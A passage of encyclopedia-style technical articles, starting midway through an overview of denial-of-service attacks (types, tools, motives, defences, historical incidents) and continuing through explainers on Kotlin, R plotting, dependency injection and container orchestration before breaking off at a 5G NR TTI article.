**Flooding attack** creates traffic in the system and fulfils its goal of making it inaccessible. UDP Flood, ICMP Flood (Ping Flood) and SSL Traffic Flood are examples of flooding attacks.

In some research papers, DoS attacks are divided into Bandwidth or Volume-based attacks (UDP flood and ICMP flood), Protocol attacks (SYN attack and Ping of Death attack) and Application Layer attacks (Teardrop attack and Spam).

### Which tools are commonly used for DoS attacks?

One popular tool used for DoS attacks is LOIC (Low Orbit Ion Cannon). LOIC can send millions of packets (UDP, TCP or HTTP requests) and flood the user's internet connection. Praetox Technologies developed this for experimental purpose. However, hackers have adopted this tool to create TCP, HTTP or UDP traffic.

There are also other tools:

    + High Orbit Ion Cannon (HOIC): Can send massive TCP traffic and spoof the source IP addresses to make them appear random.
    + Hping or hping3: Transmits an ICMP echo request while sending massive TCP traffic to the victim.
    + Slowloris: Targets the victim server by sending them an HTTP header slowly, bit by bit until a timeout happens.
    + Trinity and Trinoo: Use UDP packets to attack.

### What is the aim behind DoS attacks?

The motivation for DoS attack can be extortion and profit, causing a distraction or collateral damage. In recent years Hack-Activism has been a term concerning a famous group called Anonymous (famous internet activist). They are known to attack certain online services for political reasons.

We note the following reason for DoS attacks:

    + **Financial/economic gain**: attacks are difficult to stop and are mostly concerns of cooperation
    + **Revenge** : done by attackers with lower technical capabilities or frustrated individuals seeking revenge
    + **Intellectual challenge**: attacks occur for experimental purpose from researchers trying new techniques
    + **Cyberware**: attackers are military or terrorist organisations
    + **Service unavailability**: attackers block the victims from getting any kind of resources or suffering slow performance
    + **Ideological belief**: same as Hack-Activism

### How can we detect and protect against DoS attacks?

While creating a defence against DoS attacks, three significant points should be highlighted:

    + **Attack Prevention**: Prevention happens before the attack. The techniques mostly applied are artificial intelligence, game theory, soft computing and multi-agent approaches. These examples can be Game Theoretic Approach, An Ant Based Framework, Message Observation Technique and Protection using KDS. Firewalls are used to protect the system from any suspicious incoming and outgoing messages. Messages that don't meet security criteria are blocked.
    + **Attack Detection**: Detection takes place during the attack. Analysing the attack helps us learn the attack pattern and avoid similar attacks in the future.
    + **Attack Response**: Response happens taken after the attack is detected. It is crucial to have an intrusion response team to identify the attack and track down the host. One possible response is to nullify the attack or shut down the network.

### How are DDoS attacks different from DoS attacks?

DoS (Denial of Service) attacks and DDoS (Distributed Denial of Service) attacks have the same aim but different methods of attacking. In a DoS attack, a **single attacker uses a single system to attack a single target**. In a DDoS attack, a **single attacker uses multiple systems to attack a single target**.

There is less traffic in a DoS attack as a single system creates traffic. In a DDoS attack, due to multiple systems attacking the victim, there is heavy traffic. The attack is easy to trace in the case of a DoS attack but difficult to trace in DDoS. In both cases, the attack period is short, but the DoS attack process is slow while the DDoS attack is fast.

## Milestones

1974

An incident occurs in CERL (Computer-based Education Research Laboratory) at the University of Illinois Urban-Champaign. David Dennis, a 13-year-old student at University High School, comes to know about external command (ext) in TUTOR, a programming language in PLATO. Through this command, he writes a program sending "ext" to everyone within a range of site numbers. The next morning around 31 users power off their system at once. He also experiments on some sites around the country, and a mass posting on notes files about locking out happens.

1988

Robert Tappan Morris develops the Morris Worm for research and experimentation. Nevertheless, a bug is found in the code where the system cannot detect whether it already has the code installed. Due to this, the worm replicates itself, creating a Denial of Service attack.

Sep
1996

A DoS attack occurs in PAINX, where there is an SYN Flood attack. On a Friday evening, the main mail host system of the PAINX is attacked. The attacker forges the source addresses on attack packets, so that it becomes difficult to identify the attacker. On Monday, the attacker starts to attack telnet ports, routers and web services.

Feb
2000

Michael Calce, known as Mafiaboy on the Internet, launches a Rivolta (meaning "Rebellion" in Italian). Rivolta takes place in YAHOO through a DoS attack, which then continues to eBay, CNN and Amazon. The damages from this attack are around $7.5 million and $1.2 billion at the global level.

Dec
2003

A DoS attack occurs from December 10, 2003, 3:20 AM PST to December 11, 2003, 10:40 AM PST. The first attack on SCO Group happens on Dec 10. Their web servers become the target of a SYN flood attack of approximately 34,000 packets per second. This causes their switchboards to flood. On December 11, their web server and FTP servers are SYN flooded, reaching 50,000 packets per second. By 10:40 AM, it is reduced to 3,700 packets per second.

2007

A huge wave of DDoS attacks takes place in Estonia, targeting Estonia's essential infrastructures, telecommunications, name servers, websites, e-mail, and DNS. The attack appears to be politically motivated. Estonia's biggest bank shuts down, causing a loss of $1 million.

Oct
2016

A DDoS attack on Dyn occurs due to the Mirai Botnet. Mostly North America and Europe are affected. Major internet platforms including Twitter, Amazon, GitHub, and the New York Times become unavailable. The recovery expenses are estimated to cost each organisation, on average, $2.5 million.

Denial-of-Service Attack


# Kotlin (Language)

## Summary

Kotlin is a next-generation programming language developed by JetBrains. It combines both object-oriented and functional features. It's focused on interoperability, safety, clarity and tooling support. It can be used for server-side, desktop or mobile apps.

It's statically typed like Java, C, and C++. It's also fully compatible with Java but has a much simpler syntax. Google officially supports it for the Android platform and therefore Android apps can be written in Kotlin. Kotlin has multiplatform support, which means that code can be reused across Android, iOS or Web.

It's open sourced under Apache 2 License. It's managed by the *Kotlin Foundation*.

## Discussion

### In what application areas is Kotlin most suitable?

Diverse set of apps can be built with Kotlin since it's a general-purpose language. It can be used to build mobile apps such as Android apps. Server-side apps can be built with Kotlin. Wherever Java is used for enterprise apps, such apps can be migrated to Kotlin. Since Kotlin can be compiled to JavaScript it can be used for web app development.

Kotlin uses two file extensions: `.kt` for object-oriented programming and `.kts` for command-line scripting. This suggests that Kotlin can be used for scripting. Kotlin also has an interactive shell. This is useful for learning or clarifying doubts since results of code execution can be seen right away.

In the real world, adopters of Kotlin include Pinterest, Gradle, Evernote, Corda, Coursera, Uber, Trello, Kickstarter, Square, and many more.

### What's the difference between Kotlin and Java?

While there are differences, it's important to first note that Kotlin is compatible with Java. Kotlin code can be mixed with Java and can call existing Java libraries. IDEs also support automated conversion of Java code to Kotlin code. This makes the transition from Java to Kotlin a lot easier for existing projects. Since Kotlin targets JVM, Kotlin `.kt` files compile to `.jar` files.

Here are some reasons why it makes sense to move to Kotlin:

    + **Learning Curve**: Kotlin has a simpler syntax and therefore easier to learn.
    + **Development Environment**: Kotlin has excellent IDE support, including IntelliJ IDEA and Android Studio. Compilation is fast, sometimes faster than Java. Similar support is lacking in Scala.
    + **Concise**: Kotlin does more with less code. Strong type inference is one reason. Java has always been known for its verbosity.
    + **Performance**: With Kotlin’s support for inline functions, code often runs faster.
    + **Safe**: Kotlin avoids NullPointerException. Since you write less code, there's less chance of introducing errors.
    + **Multiplatform**: Though initially created for JVM, Kotlin can be used for front-end development and even native apps.

### Could you mention some key features of Kotlin?

Here are some features of Kotlin:

    + **Extensions**: Add extra functionality to an existing component.
    + **Higher-order Functions**: Functions themselves can be arguments to or returned from other functions.
    + **Interoperable with Java**: Kotlin code can be called from Java code and vice versa.
    + **Null Safety**: Objects are null safe by default so that nasty null pointer exceptions are avoided.
    + **Smart Cast**: Object is automatically cast to a desired type.
    + **Default Arguments**: Java took the approach of function overloading instead.
    + **Named Arguments**: Makes code more readable and order of arguments can be changed.
    + **Multi-value Returns**: Returned values can be unpacked into separate variables using *destructuring declaration*.
    + **Data Class**: Gets rid of the more verbose getters and setters in Java.A JetBrains survey from 2017 showed that three features are highly requested: collection literals, Single Abstract Method (SAM) conversions for Kotlin interfaces, and truly immutable data. JetBrains makes no promise if and when these features might be available. There are also features that developers don't want: accessing private members from tests, collection comprehensions, and static members in classes.

### What resources are available for a Kotlin beginner?

Start by reading some examples in Kotlin Playground. For more in-depth information, read the official Kotlin documentation or tutorials. To learn by solving short exercises, Kotlin Koans is recommended. It's a series of exercises that will help you learn Kotlin step by step.

Kotlin style guide is an essential read. There's also a Kotlin for Android style guide.

For latest news, follow the Kotlin blog or the weekly mailing list. Links to other community resources such as podcasts, talks and Slack channels are available online.

## Milestones

Jul
2011

JetBrains unveils Kotlin at the JVM Language Summit. It's a new language for the Java Virtual Machine (JVM). The team is lead by Dmitry Jemerov and they have been working on it for almost a year. Since JetBrains makes development tools, work on IDE support for Kotlin happens in parallel with language design and evolution. JetBrains engineers later comment that although Scala was popular, it wasn't as fast or simple as desired. Groovy and Clojure had different programming paradigms.

Jan
2012

Dr. Dobb's Journal names Kotlin as the Language of the Month.

Feb
2012

JetBrains open sources the project under the Apache 2 License. This includes the compiler, Ant/Maven integration tools, IntelliJ IDEA plugin and enhancements to basic Java libraries.

Feb
2016

Kotlin v1.0 is released. Future releases will remain backward compatible with v1.0, thus showing that Kotlin is mature.

May
2017

At Google I/O 2017, Google announces support for Kotlin on Android. Until then, Android supported only Java and C++. It's mentioned that Expedia, Flipboard, Pinterest, and Square are among those already using Kotlin in production. Android support marks a turning point in Kotlin adoption. For example, by November 2017, number of lines of code on GitHub rose from 5 million to 25 millions.

Nov
2017

Kotlin v1.2 is released. In v1.1 it was possible to compile Kotlin to JavaScript and run within a browser. With v1.2, it's possible to share code between JVM and Javascript platforms. Regular updates to v1.2 are made. In September 2018, v1.2.70 is released.

Oct
2018

Kotlin v1.3 is released. *Coroutines* is now a stable feature and useful for writing non-blocking code. To compile code directly to native binaries, *Kotlin/Native* is released as beta version. To reuse code across platforms, *multiplatform* features remains experimental but gets many updates.

Nov
2018

Kotlin team releases version 1.0 of **Ktor**, a web framework built in Kotlin. It's good for building asynchronous servers and clients in connected systems. Thanks to coroutines, complex asynchronous constructs can be expressed as sequential code. It's claimed that Ktor is already running at scale in many production systems.

Kotlin (Language)


# R Plotting Systems

## Summary

Data visualization is an important task for a statistician, data analyst or data scientist. It's an essential part of exploratory data analysis. R has more than one plotting system to do this visualization. Each has a different syntax. R programmers prefer to master one of them and at least become familiar with the rest.

Default R packages support only 2D plots. However, third-party packages are available for 3D and interactive plots. Plots produced can be exposed via web interfaces. R also integrates well with many third-party visualization and analysis software.

## Discussion

### Which are the plotting systems in R?

R has three plotting systems:

    + **Base**: We start with a blank canvas and start adding elements to it one by one. We can create the main plot and then add labels, axes, lines, and so on. Base plots are said to be intuitive since the process of creating them closely mirrors the thought process. Once something's on the plot, we can't go back and correct it.
    + **Lattice**: A plot is created with a single function call. Margins and spacing are set automatically since the entire plot is known when the function is called. Lattice is good for multivariate plots since it's easy to create many subplots.
    + **ggplot2**: This is a cross between Base and Lattice systems. Like Lattice, many things are automatically set but like Base it allows us to add to the plot after it's created. Lots of customizations are possible.

### Which of the R plotting systems should I learn?

Users on Quora have commented that Base plots are good for exploratory data analysis. The idea is to plot quickly without thinking about neatness. But if you need to create plots for publications, ggplot2 is preferred. Lattice plots are not that popular. Nathan Yau has compared both Base and ggplot2. He uses only Base.

Jeff Leek has echoed a similar sentiment that he prefers using Base for exploratory data analysis. Defaults available in ggplot2 can produce great plots with minimal code but can fool students into thinking that they're production ready.

Against the Base plot, David Robinson argues that ggplot2's pretty plots should be preferred over Base's ugly ones, even for exploratory data analysis. Creating legends, grouped lines and facets are cumbersome in Base system. With ggplot2, we don't need loops, grid statements or if statements because,

> Base plotting is imperative, it’s about what you do. ggplot2 plotting is declarative, it’s about what your graph is.

We should note that `qplot` command of ggplot2 offers a simplified syntax that's similar to the Base system. Hence, learning only the ggplot2 system thoroughly may be enough.

### How can I make my R plots interactive?

Interactive plots enable users to zoom into areas of interest, highlight important data points or hide irrelevant data points. Extra information can be shown via tooltips when users hover the mouse on specific data points.

With `plotly` package, we can make ggplot2 plots interactive. This becomes an easy learning path for those already familiar with ggplot2. However, `plotly` can also be used on its own without ggplot2. An alternative to this is `highcharter` package that wraps over HighCharts JavaScript library.

Shiny from RStudio enables interaction via a web interface. It supports both Base and ggplot2 systems. Called Shiny apps, they can be enhanced with `shinythemes`, `htmlwidgets` and JavaScript. To interact across widgets, add-on `crosstalk` can be used.

D3 is an influential charting library from the JavaScript and web world. Similar plots can be created in R without using any JavaScript. Examples of this include rCharts, d3scatter and networkD3.

### What packages enable 3D plots in R?

The Base system has the function `persp` that draws perspective views of a surface over the x-y plane. The command `demo(persp)` will show what's possible. Other R packages for 3D visualization include `plot3D`, `scatter3d`, `scatterplot3d`, `rgl`.

Packages `rgl` and `scatter3d` are interactive whereas `scatterplot3d` is non-interactive. There's also an extension of `plot3D` called `plot3Drgl`, which is based on `rgl`.

Plotly's R package called `plotly` can do interactive 3D plots.

### Which third-party data visualization and analysis software integrate well with R?

There are plenty of data visualization and analysis software. Many of these are now able to integrate with R. *Plotly* integrates well with ggplot2 and Shiny but can also do plots without either of them. *Highcharts* integration is available via `highcharter`, which uses `htmlwidgets`, and works well with Shiny. Microsoft's *Power BI* can run integrate with R, run R script and display R plots within its Power BI Desktop software.

*MicroStrategy* has its own visualizations but it can integrate with R for scripting and data analysis. Something similar can be done with *Tableau* and *QlikView*.

### Could you list some useful plot commands in the Base system?

You can obtain a complete list by typing `library(help = "graphics")` in the R console. Here we give a selection based on R version 3.5.0: `assocplot`, `barplot`, `boxplot`, `cdplot`, `coplot`, `dotchart`, `fourfoldplot`, `hist`, `matplot`, `mosaicplot`, `pie`, `plot`, `spineplot`, `stem`, `sunflowerplot`.

Once the main plot is generated, other functions can be called to annotate and customize: `abline`, `axis`, `box`, `grid`, `legend`, `lines`, `mtext`, `points`, `rug`, `text`, `title`.

To generate a plot containing subplots, `par` and `layout` can be used. To customize colours, lines, background, axes orientation and margins, `par` is useful.

### Could you list some useful plot commands in the Lattice system?

You can obtain a complete list by typing `library(help = "lattice")` in the R console. Here we give a selection based on version v0.20-35. Bivariate plots can be generated using `xyplot`, `dotplot`, `barchart`, `stripplot`, `bwplot`. For 3D and wireframes, use `cloud` and `wireframe` respectively. For histograms and density plots, use `histogram` and `densityplot` respectively. For level plots and contour plots, use `levelplot` and `contourplot` respectively.

In any of the Lattice plots, *panels* can be created to handle multivariate data. For example, a scatterplot comparing height vs age can be done in separate panels for males and females. Functions that enable panels are many and these are typically named with prefix `panel.`. These panel functions are implicitly called via the syntax `y~x|a*b`, where `a` and `b` are the variables by which panels are made. For example, `xyplot(mpg~wt|cyl*gear, data = mtcars)` will give a scatterplot of cyl\*gear number of panels.

### Could you list some useful plot commands in the ggplot2 system?

You can obtain a complete list by typing `library(help = "ggplot2")` in the R console. Here we give a selection based on version 2.2.1. There are two main plotting functions:

    + `ggplot`: This creates a new blank plot that must be completed by calling other helper functions.
    + `qplot`: Also called *Quick Plot*, this offers a simplified syntax compared to `ggplot`. This is an ideal starting point for those familiar with R's Base plots. For complex plots, `ggplot` may be required.When using `ggplot`, the following functions are needed in completing the plot:

    + `geom_*`: These functions specify what type of *geometric objects* should be plotted. Examples include `geom_point`, `geom_path`, `geom_bar`, `geom_boxplot`, and many more. Data, if specified here, will override data specified in `ggplot`.
    + `aes`: This specifies the aesthetics, the mapping of variables to x and y axes. For data points, we can select shape, colour and size. This can be done when calling `ggplot` or `geom_*` functions. Aesthetics specified in individual `geom_*` calls will override those specified in `ggplot`.

### What's the technique of creating a plot with ggplot2?

ggplot2 is an implementation of a modified **Grammar of Graphics**, which was first proposed by Leland Wilkinson in 1999 and later revised in 2005. It was created by Hadley Wickham, who calls it the **Layered Grammar of Graphics**.

The concept of layering is used; that is, ggplot2 combines multiple layers of visualizations to make a single plot. For example, `ggplot` will create the plot while each call to `geom_*` creates a layer of geometric objects. Coordinates and facets are specified. Further calls can set the theme, add annotations, adjust the scale, and so on. When all these are combined, we get the complete plot.

To generalize the concept, Wickham mentions the following components for a typical plot:

    + Default dataset and mappings from variables to aesthetics.
    + Layers to specify geometric objects, statistical transformations and positions.
    + Scale for each aesthetic mapping.
    + Coordinate system.
    + Facet specification.

### What customizations can I do with ggplot2?

Without being exhaustive, the following customizations in ggplot2 are possible:

    + **Annotations**: With `annotate`, text, shaded rectangles, lines, labels, etc. can be added.
    + **Coordinates**: With `coord_*` functions, we can select coordinates (Cartesian vs Polar), transform coordinates, flip x and y axes, and so on.
    + **Facets**: These allow visualization of multivariate data. Function with prefix `facet_*` enable this. The syntax `a ~ .` places the panels vertically; `. ~ a` places the panels horizontally, side by side.
    + **Themes**: Themes control colours, sizes, positions, borders and margins of background, panels, axes titles, axes ticks, axes labels, and so on. Two themes are available: `theme_grey()` (default) and `theme_bw()` (sets background to white). You can create own custom themes.
    + **Scale**: Scale for the axes can be customized using many functions: `discrete_scale`, `continuous_scale`, `guides`, `lims`, `scale_*` (multiple functions), and so on.
    + **Position**: Functions `position_*` adjust the position of geoms.
    + **Statistics**: Functions that produce statistical summaries before generating geoms.

### What are ggplot2 extensions?

Third-party packages add extra functionality to the ggplot2 plotting system. These are called **ggplot2 extensions** and they are tracked at ggplot2-exts.org. In May 2018, this site listed a gallery of 40 extensions. As a sample, these include radar charts, animated charts, time series charts, alluvial diagrams, directed acyclic graphs, and more. Notably, `ggedit` allows users to interactively edit the layers, scales and themes.

Incidentally, `latticeExtra` extends the capabilities of the Lattice system.

## Milestones

Feb
2000

Although R started in 1993, first public release 1.0.0 is made in February 2000. Base plotting system is part of this release.

2001

Deepayan Sarkar starts working on the **Lattice** system. He's inspired by **Trellis Graphics** that was first proposed by Bill Cleveland in 1993 and subsequently implemented in S/S+ languages. However, it's equivalent was missing in R. Sarkar uses `grid` add-on package of Paul Murrell (2002) to develop Lattice.

2005

Leland Wilkinson publishes the second edition of his book titled *The Grammar of Graphics*. This was first published in 1999. This book inspires Hadley Wickham to create `ggplot` and `ggplot2`.

2006

Hadley Wickham releases `ggplot`. The final release 0.4.2 of this package is made in October 2008. Subsequently, it's replaced with `ggplot2`.

Jun
2007

Hadley Wickham releases `ggplot2` version 0.5. In February 2014, the package goes into maintenance mode (no new features). Version 2.2.1 of the package is released in December 2016. In a five-year span 2012-2017, the package is downloaded 10 million times. In May 2017 alone, it's gets 400,000 downloads.

Aug
2012

For interactive web applications with R, including plots, Shiny v0.1.2 is released. Version v1.0.0 is released in 2017.

2013

Version 1.0 of `plot3D` package is released.

R Plotting Systems


# Dependency Injection

## Summary

The recommended practice in creating complex software is to adopt a modular design. Functionality is decomposed into modules or classes, each doing something specific and exposing their services via well-defined interfaces. This implies that one module will often depend on other modules or components of the system.

Dependencies among modules can lead to code that's tightly coupled and less maintainable. **Dependency Injection (DI)** is therefore used to resolve dependencies at *runtime* rather than at *compile time*. Objects that have dependencies will not themselves create those dependencies. They will instead rely on an another entity to create and inject those dependencies.

Dependency Injection is considered a design pattern and not a framework. It's one way of implementing a more general software concept called **Inversion of Control (IoC)**. It's also part of **SOLID Design Principles**.

## Discussion

### Could you explain dependency injection with an example?

Let's consider a class `XRateForecaster` that forecasts currency exchange rates. It accesses a database to obtain historical rates. It accesses a remote service for real-time rates. It also invokes an algorithm that does the forecasting. This class therefore has three dependencies that need to be fulfilled for it to work properly.

Without DI, `XRateForecaster` will probably instantiate these dependencies on its own. This would work but what happens if these dependencies are modified in future? `XRateForecaster` would need to be modified. Worse still, `XRateForecaster` is tightly coupled with its dependencies. We can't do any unit testing with it without resolving its dependencies.

With DI, the dependent class does not construct its dependencies. The dependencies are injected into it at runtime. Obviously, moving legacy code to this design pattern implies that code has to be refactored. It should be noted that DI doesn't remove dependencies. It merely separates the creation of dependencies from their consumption.

### What are the benefits of using dependency injection?

DI loosens the tight coupling between modules, classes or services. Code maintainability improves. Code can be reused. Because dependencies are injected at runtime, a different mock implementation can be injected for the purpose of unit testing. In fact, unit testing is one of the big benefits of adopting DI.

With DI, different implementations of the dependencies can be supplied. In other words, the dependent class can be written in abstraction without worrying about concrete implementations of its dependencies. Dependencies are no longer scattered across the app. They can be centralized in a container, or specified in an XML file.

*Dependency carrying* happens when a class instantiates a service it doesn't need but one of its dependencies needs. DI solves this problem. Jakob Jenkov describes many situations where DI is useful.

### What are some potential problems of using dependency injection?

Because dependencies are resolved at runtime, errors in dependencies cannot be caught at compile time. Tracing dependencies can be difficult. In languages such as Java or C#, there can be an explosion of data types. Programmers can become overdependent on DI frameworks. Learning a specific DI framework and managing the configuration can be extra work.

Using DI for the sake of using it is wrong. If you're never going to use another implementation or configuration, then it's best to avoid DI. One of the principles of object-oriented programming is encapsulation but DI break encapsulation. DI brings some of the implementation details, the dependencies, out to the interface.

DI can be done without containers. In fact, it's been said that containers add more lines of code and even more files if XML configuration is used. It adds unnecessary complexity. Worse still, using global singleton as injector causes problems.

### What are the different types of dependency injection?

There are three common ways of injecting dependencies:

    + **Constructor Injection**: Dependency is passed to the object via its constructor that accepts an interface as an argument. A concrete class object is bound to the interface handle. This is typically used if the dependent object has to use the same concrete class for its lifetime.
    + **Method Injection**: A.k.a. interface-based injection. Dependency is passed to the object via a method. This is useful if a different concrete object needs to be used at different times. For example, if the dependency is a notification, sometimes this may sent as an SMS, and other times as an email for the same dependent object.
    + **Property Injection**: A.k.a. setter injection. If the dependency is selected and invoked at different places, we can set the dependency via a property exposed by the dependent object, which can then invoke it later.An alternative to the above is *Service Locator*, which abstracts away the job of resolving dependencies. However, some identify this too as a form of dependency injection since the locator itself has to be injected into the dependent object.

### Are there frameworks for dependency injection?

While it's possible to implement dependency injection without any frameworks, what if your dependencies themselves depend on other dependencies? Frameworks simplify the job by providing what's called an **IoC Container** or **Dependency Injection Container (DIC)**.

A container will create the dependent object along with its dependencies. Writing container code can also get tedious since we need to create one for each dependent class. This is where frameworks come in by providing generic DICs that can read in configuration information about dependencies, say, from an XML file.

Spring Framework, PicoContainer, HiveMind, XWork, Java EE6 CDI, Weld, Google Guice, Salta, Glassfish HK2, Dagger and Managed Extensibility Framework (MEF) are example DI frameworks. For .NET, DI frameworks include Spring.NET, Castle Windsor, Unity, StructureMap, Autofac and Ninject.

In Spring, there are at least three ways of doing DI: XML, annotations, pure Java code. Angular has its own DI mechanism using `@Injectable` decorator. ASP.NET Core does it via its built-in service container, `IServiceProvider` Google Guice uses `@Inject` constructor annotation. For Android, there's Dagger, RoboGuice, ButterKnife and Android Annotation.

### Could you share some tips on dependency injection for beginners?

Passing in too many dependencies is an indication that the class is doing too much. It's better to split the class into multiple classes, each having a specific responsibility. Injecting dependencies but not using them or passing them to other classes is another anti-pattern. Inject interfaces, not implementations. Know what services need to be exposed, mark them public and keep all others private. If you use configuration files (XML, YAML, etc.) keep them readable.

A common anti-pattern is to invoke a singleton static container to instantiate services from within a dependent class. This is the service locator approach. It's using IoC container without doing DI. Instead, inject an interface into the constructor. If you use containers, register all components and resolve at the root component.

DI is not the only way to achieve IoC. Other ways include factory pattern, template method pattern, strategy pattern and service locator pattern. However, for example, with factory pattern the class still instantiates the factory and dependencies from within rather than being injected from the outside.

## Milestones

Aug
1994

Robert Martin notes that object-oriented design on its own will not make code robust, maintainable and reusable. The pattern of interdependencies across subsystems matters too. A module's intent should not dependent on its details. He uses the term *Dependency Inversion*. In June 1995 he defines the *Principle of Dependency Inversion*,

> Details should depend upon abstractions. Abstractions should not depend upon details.

1998

The term *Inversion of Control (IoC)* is coined by Brian Foote. He implies that frameworks don't have the power. They are extensible skeletons and their behaviour is tailored by methods supplied by client code or application. In essence, components are externally managed.

1999

Stefano Mazzocchi and others propose Java Apache Server Framework, later called Avalon. This uses IoC as one of its fundamental design principles. Avalon may be credited with popularizing IoC. According to Mazzocchi, IoC is really about isolation, modularity and reuse. The need to inject dependencies is an effect, not the cause.

2003

Spring Framework is released. Spring was conceived by Rod Johnson a year earlier and released as part of his book on the framework. It uses DI and IoC containers, although he states that the term DI was coined in late 2003. Also in 2003, names type 1/2/3/4 are renamed to today's familiar names interface/setter/constructor injection.

2004

Martin Fowler coins the term *Dependency Injection* in an article. He explains that it's a specific form of Inversion of Control (IoC). He also compares it to an alternative pattern called *Service Locator*.

Dependency Injection


# Container Orchestration

## Summary

Container orchestration is the process of deploying containers on a compute cluster consisting of multiple nodes. Orchestration tools extend lifecycle management capabilities to complex, multi-container workloads deployed on a cluster of machines. By abstracting the host infrastructure, container orchestration tools allow the users deploying to entire cluster as a single deployment target.

The rise of lightweight and flexible containers, have given rise to new application architectures and fundamentally changed how applications are deployed and visualised today. The containerisation approach is to package the different services that constitute an application into separate compute containers, and to deploy those containers across a cluster of physical or virtual machines. With the rise of containerisation the need container orchestration all but obvious. As a definition,

> Container orchestration is a process that automates the deployment, management, scaling, networking, and availability of container-based applications.

## Discussion

### What's the process of Container Orchestration?

The process of deploying containers to multiple virtual machines or physical machines within a cluster to implement an application can be optimized through automation. This becomes more and more valuable as the number of containers and hosts grow. Container Orchestration envisions a number of features, some of which are mentioned below:

    + Provisioning hosts
    + Instantiating a set of containers
    + Rescheduling failed containers
    + Linking containers together through agreed interfaces
    + Exposing services to machines outside of the cluster
    + Scaling out or down the cluster by adding or removing containers

### Where does container orchestration fit within the system stack?

Container orchestration mediates between the apps or services above and the container runtimes below. Three main functional aspects of what they do include:

    + **Service Management**: Labels, groups, namespaces, dependencies, load balancing, readiness checks.
    + **Scheduling**: Allocation, replication, resurrection, rescheduling, rolling deployment, upgrades, downgrades.
    + **Resource Management**: Memory, CPU, GPU, volumes, ports, IPs.A survey from 2016 indicated that among the features considered important are Scheduling, Cluster Management, Service Discovery, Provisioning and Monitoring.

In addition to the above, there are a number of non-functional aspects that are important: scalability, availability, flexibility, usability, portability, and security.

### What are some Container Orchestration tools available?

Some container orchestration tools worth mentioning include the following:

    + **Docker Swarm:** Provides native clustering functionality for Docker containers, which turns a group of Docker engines into a single, virtual Docker engine.
    + **Google Container Engine:** Google Container Engine, built on Kubernetes, lets you run Docker containers on the Google Cloud.
    + **Kubernetes:** An orchestration system for Docker containers. It handles scheduling and manages workloads based on user-defined parameters.
    + **Mesosphere Marathon:** Marathon is a container orchestration framework for Apache Mesos that is designed to launch long-running applications.
    + **Amazon ECS:** The ECS supports Docker containers and lets you run applications on a managed cluster of Amazon EC2 instances.
    + **Azure Container Service (ACS):** ACS lets you create a cluster of virtual machines that act as container hosts along with master machines that are used to manage your application containers.
    + **Cloud Foundry’s Diego:** Container management system that combines a scheduler, runner, and health manager.
    + **CoreOS Fleet:** Container management tool that lets you deploy Docker containers on hosts in a cluster as well as distribute services across a cluster.

### Which container orchestration tool should I use?

It's been said that Kubernetes has been widely adopted, particularly for stateless, composable workloads. Marathon is designed for long-running apps. Marathon can handle persistent containers. Those offered by Google, Amazon and Microsoft may result in vendor lock-in: it may be difficult to move your app to another provider at a later point. If you wish to build your own Platform-as-a-Service (PaaS), take a look at Cloud Foundry.

Among the lesser known names are Cattle, Shipyard, Nomad, Empire, Aurora, Singularity, PaaSTA and Titus. In fact, some are tools and some are frameworks. Kubernetes is an orchestrator by itself. Apache Mesos is a distributed systems kernel upon which you can build custom orchestrators. DC/OS and Marathon is implementations on top of Mesos. Shipyard is considered an orchestrator orchestrator because it uses Docker Swarm. Amazon EC2 is an IaaS and Empire is a PaaS for containers, and both these have orchestrators built into them.

### What are some security considerations when working with container orchestration tools?

While many of the concerns when using containers are common to bare metal deployments, containers provide an opportunity to improve levels of security if used properly. Because containers are so lightweight and easy to use, it's easy to deploy them for very specific purposes, and the container technology helps ensure that only the minimum required capabilities are exposed.

### Are there alternatives to managing containers without using an orchestration platform?

While orchestration platforms (Docket Swarm, Kubernetes) are easier to use, there are other alternatives that may suit some teams. Those with programming background could use shell scripting to customize to their requirements. The same can be said of those who use configuration management tools for deployment. On the other end of the scale, teams can simply subscribe to a Containers-as-a-Service (CaaS) for minimal maintenance. For example, Google Kubernetes Engine (GKE) abstracts away and manages Kubernetes master nodes for you.

## Milestones

2009

At UC Berkeley, **Mesos** starts as a research project to improve cluster utilization. The concept of containers is unknown at this time but there's a need to manage clusters of resources. Cluster frameworks MapReduce and MPI are examples. Mesos gives a common layer spanning diverse cluster computing frameworks.

Jul
2015

Version 1.0 of **Kubernetes** is released. It also becomes part of Cloud Native Computing Foundation (CNCF). Kubernetes was previously open sourced by Google in June 2014.

Sep
2015

Hashicorp's **Nomad** is released as a "cluster manager and scheduler designed for microservices and batch workloads".

Nov
2015

Version 1.0 of **Docker Swarm** is released. During beta, it was used for running 1,000 nodes and 30,000 containers on EC2. It was able to schedule containers in less than half a second. In July 2016, this is released as part of Docker v1.12 and is known as **Swarm Mode**.

Oct
2017

Docker announces that it will support Kubernetes. This means that operations have more choice (Docker Swarm Mode or Kubernetes) for managing their clusters/containers.

Container Orchestration


# 5G NR Transmission Time Interval

## Summary

Transmission Time Interval (TTI) is composed of consecutive OFDM symbols in the time domain in a particular transmit direction. By combining different number of symbols, different TTI durations are possible.

In the frequency domain, different numerologies are permitted, corresponding to different Sub-Carrier Spacing (SCS). A higher SCS shortens symbol duration and hence shortens TTI. A combination of numerology and TTI determines how many bits and in what manner they're transmitted on the air interface.

Compared to LTE, 5G NR improves the design of TTI towards lower latency and more efficient use of radio resources. For 5G's Ultra-Reliable and Low-Latency Communications (URLLC) use case covering driverless cars, disaster response, factory automation and more, low latency is essential. It's been noted that,

> Latency is in general a function of the TTI.

## Discussion

### How does TTI design in 5G compare against 4G/LTE?

In 4G/LTE, TTI is fixed to 1ms and it's composed of 14 OFDM symbols. This is only the transmission time on the air interface. Other delay components include processing delay (at base station and UE) and HARQ retransmissions. In uplink, making a scheduling request and waiting for the grant adds to the delay. Estimates of one-way delay assuming 10% block error rate are 4.8ms (DL) and 11.3ms (UL). This is significant delay for URLLC use case.

LTE Release 15 introduced **shortened TTI** of 2 symbols and 7 symbols. In FDD-LTE, both are allowed. In TDD-LTE, only 7-symbol shortened TTI is allowed. The release also specifies how processing times can be shortened. Making these changes to LTE was a challenge due to requirements of backward compatibility, that is, UEs that don't support shortened TTI should coexist with those that do.

5G design includes **scalable TTI**, corresponding to slot durations 62.5µs to 1ms. One or more consecutive slots allocated to either DL or UL make up a TTI. 5G also incorporates **mini-slot** transmissions, which is similar to what LTE calls shortened TTI.

### Could you describe 5G NR's scalable TTI design?

